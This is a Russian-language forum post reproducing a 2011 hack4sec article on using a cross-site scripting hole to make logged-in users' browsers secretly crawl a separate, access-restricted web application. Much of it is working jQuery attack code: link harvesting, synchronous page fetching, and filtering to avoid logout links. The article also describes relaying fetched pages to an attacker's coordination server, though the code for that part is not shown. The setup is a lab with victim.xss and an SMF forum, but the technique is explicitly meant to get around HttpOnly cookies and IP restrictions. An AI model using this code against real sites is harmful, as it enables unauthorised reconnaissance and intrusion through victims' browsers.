Показать сообщение отдельно
Старый 30.05.2011, 19:08   #1
Белый Тигр
 
Аватар для Белый Тигр
 
Регистрация: 29.08.2010
Сообщений: 153
Репутация: 25
По умолчанию [hack4sec] XSS: Разведка боем.

Автор: Кузьмин Антон anton.kuzmin.russia@gmail.com http://anton-kuzmin.blogspot.com/
Команда: Hack4sec hack4sec.team@gmail.com http://hack4sec.blogspot.com/
Дата: 30-05-2011
PDF-вариант: https://hack4sec.opendrive.com/files?29123800_FYGqD

Здравствуйте. В данной статье я хочу привести один не стандартный пример использования XSS-уязвимостей. По крайней мере раньше я ни разу не видел чтоб подобные вещи где-то описывались.
Представим себе следующую ситуацию. Есть сайт victim.xss. На нём располагается 2 веб-приложения. Одно не совсем важное для вас, имеющее XSS-уязвимость (пассивную/активную — не важно). К нему доступ у вас есть. И одно которое вас очень интересует, но доступа к которому вы не имеете (при обращении сервер возвращает код 403 или 401). Кроме того, вы даже не знаете как оно устроено внутри и что из себя представляет. При этом попытки кражи идентификационных данных тех людей, которые этот доступ имеют, ничего не дают — cookies идут с флагом HTTP-only, а веб-сервер не поддерживает метод TRACE, авторизированные сессии привязываются к IP-адресам или доступ к приложению ограничен по IP. Вообщем, если что и делать, то только используя обнаруженную в первом приложении XSS, заставлять браузеры имеющих доступ пользователей выполнять необходимые вам действия. Но какие? Ведь структуры второго приложения вы не знаете.
Решение здесь одно — пользуясь браузерами авторизованных лиц узнать содержимое страниц закрытого приложения. Из содержимого станет понятна его структура (ссылки, контент), а зная её можно строить дальнейший план действий.
Теперь вопрос за технической стороной. Здесь есть два варианта. Первый — «смотреть» страницы поодиночке. То есть код, помещённый через XSS в первое приложение, будет запрашивать интересующую ссылку с сервера атакующего, как-то её открывать (XHR/IFRAME) и передавать содержимое хозяину. Затем атакующий выбирает из полученного следующую ссылку, и так раз за разом приложение потихоньку будет «раскрываться». Это хоть и медленный вариант (его практическое применение может растянуться на недели), но зато самый лёгкий в реализации и полностью безопасный за счёт своей точечности для целевого приложения. Ведь каждый раз атакующий сам будет выбирать какую страницу просматривать.
Второй — «смотреть» страницы рекурсивно по нескольку штук, передавая полученные коды на сервер для исследования хозяином. Скорость данного варианта очень высока и полное раскрытие структуры приложения, при его большом размере, может занять менее дня (при интенсивном использовании со стороны клиентов). Но здесь есть и свои подводные камни. Например, можно случайно пройти по ссылке удаления чего-нибудь. Тем не менее, ниже я опишу именно этот вариант.

Подготовка
Итак, что нам понадобится? Для начала нужно создать 2 виртуальных хоста — victim.xss и interceptor.xss. Первый будет играть роль жертвы, второй — координационного сервера. В корне victim.xss нужно разместить файл xss-page.html. Он будет имитировать уязвимую к XSS-атакам страницу. Затем нужно установить приложение которое мы будем исследовать. Представим что доступа туда у нас нет. Я взял на эту роль форум SMF 1.13 и поместил его в директорию /forum/. После установки не забудьте войти в его админ-панель, чтоб при проведении экспериментов код-исследователь мог пролезть и туда. Далее на victim.xss разместите скрипт jQuery. Я решил использовать его, а не «голый» JS, просто для экономии времени и упрощения кода. К тому же сейчас на многих сайтах стоят различные JS-фреймворки которые при работе с XSS могут очень сильно облегчить нападающему жизнь.
Работа наша будет проходить следующим образом. В xss-page.html помещаем нужный код, открываем его в браузере который уже авторизирован на форуме и смотрим результат. Кстати, для слежения за результатами хорошо подойдёт FireBug со своим логированием сетевой активности.
Вот начальный код xss-page.html:

Код HTML:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
  <head> 
    <title></title> 
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
  </head> 
  <body> 
    <a href="/forum/index.php">Закрытое приложение</a> 
    
    <script type="text/javascript" src="/jquery-1.6.1.min.js"></script> 
    <script type="text/javascript"> 
	alert('XSS');
    </script> 

  </body> 
</html>
Вместо «alert('XSS');» мы и будем размещать всё что нам понадобится.
Пока мы не начали основное действо нужно сделать небольшое отступление. Дело в том, что реализовать всё вышеописанное можно двумя способами — используя или XHR или Iframe. В самом начале работы над статьёй я выбрал второй вариант из-за его иллюзорной простоты. Судите сами — или работать через XHR и извлекать ссылки для последующего обхода с помощью регулярных выражений, либо работать с Iframe и доставать необходимые данные уже обращаясь к DOM документа, что само по себе легче, особенно с jQuery. Но не всё так просто, как кажется на первый взгляд. Перейти на XHR меня заставил тот факт что iframe нельзя заставить работать синхронно со скриптами. К тому же при попытке логирования происходящих действий я заметил очень странное поведение iframe`а — при открытии множества страниц с разными URL под ряд он по нескольку раз открывал одни и те же страницы, хотя такого вообще быть не должно. Причину я найти так и не смог, и в итоге решил просто обратиться к XHR.

Пользовательская часть. Сбор ссылок.
Приступим. Для начала необходимо объявить 2 глобальных массива, в первый из которых мы будем складывать ссылки для исследования, а во второй поместим уже исследованные адреса, дабы избежать повторений. Как вы наверное уже догадались, при большом объёме (в плане контента) целевого приложения второй массив будет постоянно расти и расти, что может негативно сказаться на размерах потребляемой браузером памяти. По другому, к сожалению, никак. Можно, конечно, поработать над уменьшением объёма хранимой информации (например хранить не ссылки, а их хеши), но эта тема выходит за рамки данной статьи.
Итак. Назовём эти массивы links, и checked.
Код:
var links = [];
var checked = [];
Теперь нужно создать несколько функций по работе с ними. Адреса для проверки нам потребуется и добавлять, и удалять из соответствующего массива. А вот проверенные ссылки мы будем только добавлять. Кроме этого нам понадобится функция проверки адресов на наличие в массиве checked. Исходя из этих требований напишем 4 небольшие функции.
Код:
function delLink(link) {
    // Если ссылка есть в общем массиве удаляем её
    if($.inArray(link, links) != -1)
        links.splice($.inArray(link, links), 1);
}

function addLink(link) {
    // Если ссылки в общем массиве нет, и она не относится к проверенным,
    // то мы можем её добавить
    if($.inArray(link, links) == -1 && !isChecked(link))
        links[links.length] = link;
}

function addChecked(link) {
    // Если ссылки в массиве проверенных нет, можно добавлять её туда
    if($.inArray(link, checked) == -1)
        checked[checked.length] = link;
}

function isChecked(link) {
    return $.inArray(link, checked) != -1;
}
Теперь объявим переменную limit. В неё поместим число ссылок, которое будет проверять атакуемый браузер за один раз. Оно обязательно должно быть небольшим чтоб не создавать пользователю лишних проблем.
Код:
var limit = 30;
И можем приступать к основной работе. Для её начала нам нужно иметь хотя бы одну ссылку. Её можно взять с сервера атакующего, а можно получить самостоятельно, что мы и сделаем. Как раз на xss-page.html имеется одна ссылка ведущая на интересующее нас приложение. Получим её вот так:

Код:
$('a').each(function(){
    if(this.href.indexOf('http://' + window.location.hostname) != -1 &&
       this.href != window.location.href)
    {
        addLink(this.href);
    }
});
Возможно вас удивит первое условие — наличие фрагмента «http://текущий-хост» в начале ссылки. Оно здесь потому, что мы работаем с DOM. А раз так, то получаем уже не то что написано в «href», а полноценные адреса подготовленные браузером, начинающиеся с «http://».
После того как исходные ссылки готовы, мы можем приступать к основным действиям. Для этого вызовем один раз функцию parseNextLink(). Как видно из её названия, обрабатывать ссылки мы будем по одиночке. Это даст нам полный контроль над ситуацией и снимет нагрузку на браузер, который при асинхронной проверке (и обработке содержимого) 30-50 ссылок начинает заметно тормозить. Что она будет делать? Вначале она проверит на истинность два условия: есть ли непроверенные ссылки в соответствующем массиве, и достигло ли количество ссылок в checked значения обозначенного в limit. Если хоть одно условие верно, функция прекращает работу кода. Если оба из них ложны — вызовет getLinks(), объявление которой описано ниже.

Код:
function parseNextLink() {
    if(checked.length >= limit || !links.length)
        return;
    
    // Проверяем последнюю ссылку из links
    getLinks(links[links.length-1]);
}
Ну и самая главная функция, которая будет проверять страницы и получать с них новые ссылки, - getLinks().

Код:
function getLinks(url) {
    addChecked(url); // Отмечаем эту ссылку как проверенную
    delLink(url); // Удаляем её из нуждающихся в проверке

    $.ajax({
        url: url,
        type: 'get',
        async: false,
        dataType: 'html',
        success: function(data){
            // Тут код извлечения ссылок из ответа
        }
    });
    parseNextLink();
}
Как видите, работает она в синхронном режиме. Сразу по завершении своей работы (ответ получен и обработан) вызывается parseNextLink(), которая, если не прервёт работу, то этой же функции передаст новую ссылку для проверки.
Теперь стоит подробнее рассмотреть код обработки полученных данных. В его начале запустим бесконечный цикл извлечения ссылок по регулярному выражению. Он остановится только тогда, когда из текущего ответа не будет более извлечено совпадений.

Код:
var hrefRegexp = /href=['"](.*?)['"]/ig;
while(true) {
    var result = hrefRegexp.exec(data);
    if(result == null) break;
    ...
}
При таком регулярном выражении exec() будет возвращать массив из двух ячеек с индексами 0 и 1. В первой будет лежать всё совпадение вместе с «href=», а во второй только содержимое «href='...'». Оно нам и нужно

Код:
var link = result[1];
Теперь один очень важный момент. Чтоб наш код случайно не открыл ссылку выхода из аккаунта, очистки cookies или ещё чего вредного, нам нужно соорудить механизм игнорирования неугодных адресов. Сделаем это так. Объявим глобальный массив с выражениями, присутствующими в таких ссылках.

Код:
var ignore  = ["logout","delete"];
А при обработке данных обойдём его, и поищем совпадения в текущем результате.

Код:
for(ign in ignore) {
    if(link.indexOf(ignore[ign]) != -1) {
        link = ''; // Пустой она дальше никуда не пройдёт
        break; 
    }
}
Следующим шагом нам необходимо подстраховаться от дублей ссылок с «#». По сути для GET-запросов, которые мы шлём по средствам XHR, ссылки типа
http://victim.com/index.php
http://victim.com/index.php#aaa
Абсолютно одинаковы. Их содержимое может различаться только тогда, когда в зависимости от того что идёт после # страница на клиентской стороне меняется сама. Чтоб это произошло её надо обработать, а в нашем случае никакой обработки браузером получаемых страниц не происходит. Следовательно, нужно от таких ссылок избавляться. Сделаем это простым вырезанием всего что идёт после #.
Код:
link = (link.indexOf("#") != -1) ? link.substr(0, link.indexOf("#")) : link;
Ну и теперь ссылку можно помещать в общий массив, предварительно проверив её на принадлежность нашему целевому хосту.

Код:
if(link.indexOf('http://' + window.location.hostname) == 0)
    addLink(link);
Обратите внимание на то, что эта проверка может не сработать на других приложениях. SMF сам во все свои ссылки подставляет текущий хост, а, например, тот же phpBB3 этого не делает.
Ну вот и всё. Часть отвечающая за сбор ссылок готова. Теперь при запуске скрипт будет наполнять массивы links и checked рекурсивно обходя найденные URL. Убедиться в том что всё идёт верно можно с помощью вызова console.log() в нужных местах скрипта, ну и поглядывая в сетевой монитор FireBug.
Белый Тигр вне форума   Ответить с цитированием